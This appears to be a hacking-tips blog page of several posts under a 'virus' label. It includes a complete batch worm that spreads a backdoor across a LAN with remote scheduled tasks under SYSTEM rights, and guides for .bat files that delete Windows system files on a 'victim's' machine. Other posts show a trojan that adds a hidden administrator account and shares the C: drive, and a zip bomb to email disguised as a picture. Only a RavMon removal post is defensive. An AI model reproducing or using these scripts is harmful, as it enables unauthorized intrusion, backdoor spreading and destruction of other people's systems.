Showing posts with label virus. Show all posts
Showing posts with label virus. Show all posts

Virus Spreading using Batch Script

his script is not mine.... i got some where and thought of sharing here... nice script u guys can learn from here how the worms are spreading.. 

------------------------------------------

A Simple yet Smart Script to spread your malware across a Local Area Network. You can edit the script to do an endless infection-Loop from every PC to EVERY PC, to just completely IGNORE protection systems like DeepFreeze. You don't have to bypass it when the whole LAN is infected with the right tweeks, when a computer comes online, will be infected from the rest of them.

Code:
rem This is a simple script to spread your malware to Local Area Networks
rem such Internet-Caffes etc. It will start the schedule service on
rem every connected Computer remotely, with the help of SC utility.

rem Using the AT command will force every Computer to create a new
rem NetBios Share called "infected" at a given time. It will copy your backdoor to
rem the infected Share, and execute it via the AT command once again.

rem Because of the nature of AT, your backdoor will be executed under
rem SYSTEM\NT rights.

rem HOW TO USE IT:
rem 1    Move the Script on C:\ and rename it to spreader.bat
rem 2    Move the backdoor on C:\ and rename it to "backdoor.exe"
rem 3    Change the prewritten IP's to your's (ipconfig)
rem 4    Double click it... and happy bot-neting!


@Echo off
cls
rem Starting the schedule service Localy first.
sc start schedule
net start schedule
cls

rem Checking the username. Under SYSTEM, the username variable is blank.
if not "%USERNAME%"=="" (
rem Sometimes we can't use SC, but SYSTEM can.
rem Insert the current time plus one minute here.
:systemrights
set SYSTIME=
set /P SYSTIME=[SYSTEM]-Give the Priv-Escalation time (hH:mm format): %=%
if "%SYSTIME%"=="" goto systemrights
at %SYSTIME% /interactive cmd.exe /c "start C:\spreader.bat"
echo.
echo If you're lucky, the attack will take place at %SYSTIME% under the SYSTEM account.
echo I'm closing this window for now...
echo.
pause
exit
) ELSE (
goto pwnmebabe
)

:pwnmebabe
rem Here you set WHEN the new share will be created.
echo Current time is: %TIME%
:pwntime
set PWNTIME=
set /P PWNTIME=[SHARE]-Give the Share-Creating time (hH:mm format): %=%
if "%PWNTIME%"=="" goto pwntime
echo.

rem Just to be sure, the second given time, must have 5 minutes diff.
echo Current time is: %TIME%
:pwntimee
set PWNTIMEE=
set /P PWNTIMEE=[OWNAGE]-Give the Backdoor-Execution time (hH:mm format): %=%
if "%PWNTIMEE%"=="" goto pwntimee
echo.
echo I'm ready to spread the shit!
echo.
pause
cls

rem Try to speed-up the infection by attacking only awake Computers
for /L %%j in (1,1,254) do (

    ping -n 1 -w 50 109.68.149.%%j >nul
        IF ERRORLEVEL 1 (
            ECHO Excluding 109.68.149.%%j from the list...
        ) ELSE (
            sc \\109.68.149.%%j start schedule
            at \\109.68.149.%%j %PWNTIME% cmd.exe /c "net share infected=C:\windows\"
            at \\109.68.149.%%j %PWNTIMEE% cmd.exe /c "start C:\windows\backdoor.exe"
            cls
        )
)
cls

rem Remember the space of 5 minutes? You'll need it here, to copy the malware. Increase it if you want.
echo Wait until %PWNTIME% and
pause
cls
for /L %%j in (1,1,254) do (

    ping -n 1 -w 50 109.68.149.%%j >nul
        IF ERRORLEVEL 1 (
            ECHO 109.68.149.%%j is offline...
        ) ELSE (
            copy /Y C:\backdoor.exe \\109.68.149.%%j\infected
            cls
        )
)
cls
echo Simple Spreading Batch Script
echo Author: AnalyseR
echo ----------------------------------------
echo
pause
@Echo on


---------------------------------

thank u.. i hope u guys love this inf.
READMORE
 

How to Make your own Virus



Yes Now it is possible for you to have your own virus. But before doing anything yourself first of all you need to read the whole article first. And let me remind you that any problem occurs after you do anything then you are solely responsible for what has happened and I will not be responsible.
First of all Open your notepad and type the following………
del c:\boot।ini c:\del autoexec.bat
Now Save as anyname.exe. Create this in C: drive
The only thing you need is Notepad.
  1. Create a text file called TEST.txt(empty) in C:\
  2. Now in your notepad type “erase C:\TEST.txt” (without the quotes). Then save it as “Test.cmd”.
  3. Now run the file “Test.cmd”go to C:\ and you’ll see your Test.txt is gone.
Now, the real work :
  1. Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
  2. Now DON’T Run the file or you’ll lose your WINDOWS map.
So, that’s the Virus. In this way you can make a virus to delete any file you want.
Now to take revenge. Send you file to your victim. Once victim opens it. WINDOWS map is Deleted. And he will have to install WINDOWS again.
Beware: Its simple but a strong virus that can delete anyones Windows OS …

READMORE
 

Making your own trojan in a .bat file




Open a dos prompt we will only need a dos prompt , and windows xp…
-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok
Now insert this command: net
And you will get something like this
NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send
We will select some of those commands and put them on a .bat file.
What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:
dir
pause
And now save this as test.bat and execute it.
Funny aint it ?
———————- Starting ——————-
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access
Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.
Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant
Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.
Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.
Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.
-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.
->To see your ip in the dos prompt put this command: ipconfig
———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.
Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!
READMORE
 

JPEG Binding



Do you know most of the virus that infiltrate your computer are stored secretly in a jpeg image? Well if you are not aware of this then you must read it.
# You will need the following.. Windows 2000 / XP
# Basic Knowledge of the Command Prompt
# WinRar

1. Gather your image and the files you wish to lodge into it. Here I have a meeting.txt which I will hide inside my toshow.jpg.

2. Add the files you want to hide into a new RAR archive. (so meeting.txt.rar created newly)

3. Open Command Prompt and go to the folder where your files are located, e.g., ‘C:\hidden’.

5. At command prompt type ‘copy /b toshow.jpg + meeting.txt.rar lizard.jpg’ (without quotes).

(toshow.jpg is the picture I want to show, meeting.txt.rar is the file to be hidden, and lizard.jpg is the file
which contains both.

6. Now test the lizard.jpg by double clicking it, and verifying it still opens.

7. Now try opening that same lizard.jpg file from menu: file->open of WinRar. It will show the original
 hidden file meeting.txt.

Done !!!!!
Now lizard.jpg is a simple JPEG for others, but it contains a secret file meeting.txt for you !!!!!!!!!

READMORE
 

Remove RavMon.exe virus without any anti-virus(Do it your self)


Removing Ravmon Virus without Anti-Virus is easy, btw I haven’t met any Anti Virus which can remove this virus. They can stop your pc from being infected but once you are infected they wont be able to remove it.
I don’t know the Actual Name of this virus nor its effects
Anyways its very easy to remove it.
You will have to follow just few simple steps.
  • check if your Infected.
  • Stop currently running virus.
  • Delete virus files.
  • Remove virus to run from startup.
So here are the following steps explained:
Remember until you delete the virus files please open drives using address bar by typing C:\ D:\ X:\ as the virus is activated if you double click the drive
1. Right click any drive on your computer and see if right click menu shows some invalild characters
like this
Remove RavMon.exe virus without any anti-virus(Do it your self) - www.crack$hack.ws
If yes then you are infected.
2. Press Alt+Ctrl+Del to bring up the task manager (or right click taskbar to run it) there will be a program in processes named “SVCHOST.EXE” there will be few svchost in small case but check one in capital letters, if you see more than one “SVCHOST.EXE” (all caps one) end the one with your username infront of it instead of LOCAL SERVICE, NETWORK SERVICE or SYSTEM(by pressing end process).
3. To delete the virus files you need to show system protected files.
For this goto
My Computer->(Menu) Tools-> Folder Options -> (Tab) View -> uncheck “Hide System protected files” -> press OK
If you are unable to unhide the system files you can use 3rd party softwares to browse drive and delete files, try ACDsee or WinRAR
Now open drive (by typing drive letter in address bar)
Delete these 2 files
[eminimall]
  • Autorun.inf
  • Ravmon.exe
Also delete those in all drives (not CD(WR) or DVD(WR) drives) (and remember don’t double click else you will have to start over from top) Open Windows folder and delete SVCHOST.EXE, SVCHOST.dll and MDM.EXE
Now restart the explorer.exe process by killing it in taskmanager and runing it again [(winkey + R), type “explorer” and hit enter]
 cleaned ravmon.exe virus

Now right click the drive letter and ull see a clean menu congrats virus is removed 4. Now remove it from startup (Optional as files are deleted)
Winkey + R type “msconfig” hit enter

remove ravmon virus from windows startup

Goto startup tab-> (uncheck) MDM -> OK -> Exit without Restart
How to prevent from this virus in feature
just right click any USB drive (that includes iPod) you have plugged into your PC
if they have currpoted menu the drive is Infected.
Access drive by typing Drive letter and Delete files from that drive
Remember you double click the curropted drive you get infected else you are safe.
The End
READMORE
 

Freak out your Friends Using a Zip Bomb

A zip bomb, also known as a Zip of Death, is a malicious archive file designed to crash or render useless the program or system reading it. It is often used by virus writers to disable antivirus software, so that a more traditional virus sent afterwards could get into system undetected. A zip bomb is usually a small file (up to a few hundred kilobytes) for ease of transport and to avoid suspicion. However, when the file is unpacked its contents are more than the system can handle.You can make your own zip bomb to annoy your friends or just out of curiosity (or wilderness) to experiment with it. Make sure you don’t detonate it on yourself.
Here is how to make your own Zip Bomb of Death -
  1. Create a new text file,name it a.txt
  2. Open and type the null character (alt + 255) in it.
  3. Now press Ctrl + A then Ctrl + V a couple times to make some null bytes.
  4. Open Command prompt and navigate to the folder containing a.txt . Type the following command:
    copy /b *.txt b.txt
This will write all the contents of a.text and its copies into a new text file called b.txt,hence making every copy is a super copy. Repeat the above steps from the beginning again and again to make a really big text file.
Once u have a nice empty big text file like 1gb or more,then compress it using Winrar or Winzip into a zip file.
You will find that it will be compressed to very small size (about 1MB ). It is because of the simple construction of the file as the text file contains 1gb of null bytes.
Make sure that YOU DONT OPEN THIS afterwards.
You can make the same file in Linux by typing -
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz
Send it to your friends (or foes) and it will definitely annoy them . Use some creativity and rename the text file into some thing like Angelina Jolie.jpg and compress it and email to your friends. Once they download it,they will never be able to download again (sarcasm..sarcasm).More disastrous combinations can be made by experimenting with it.I mean..you get the idea :)
If you are too lazy like me and you don’t want to do all this then you can download the most dangerous zip bombs of all time from here. This size of this zip is only 42 KB which will uncompress to about 4 Petabytes (1 Peta byte = 1024 TB and 1 TB = 1024 GB ) of file size. Dangerous huh..?
READMORE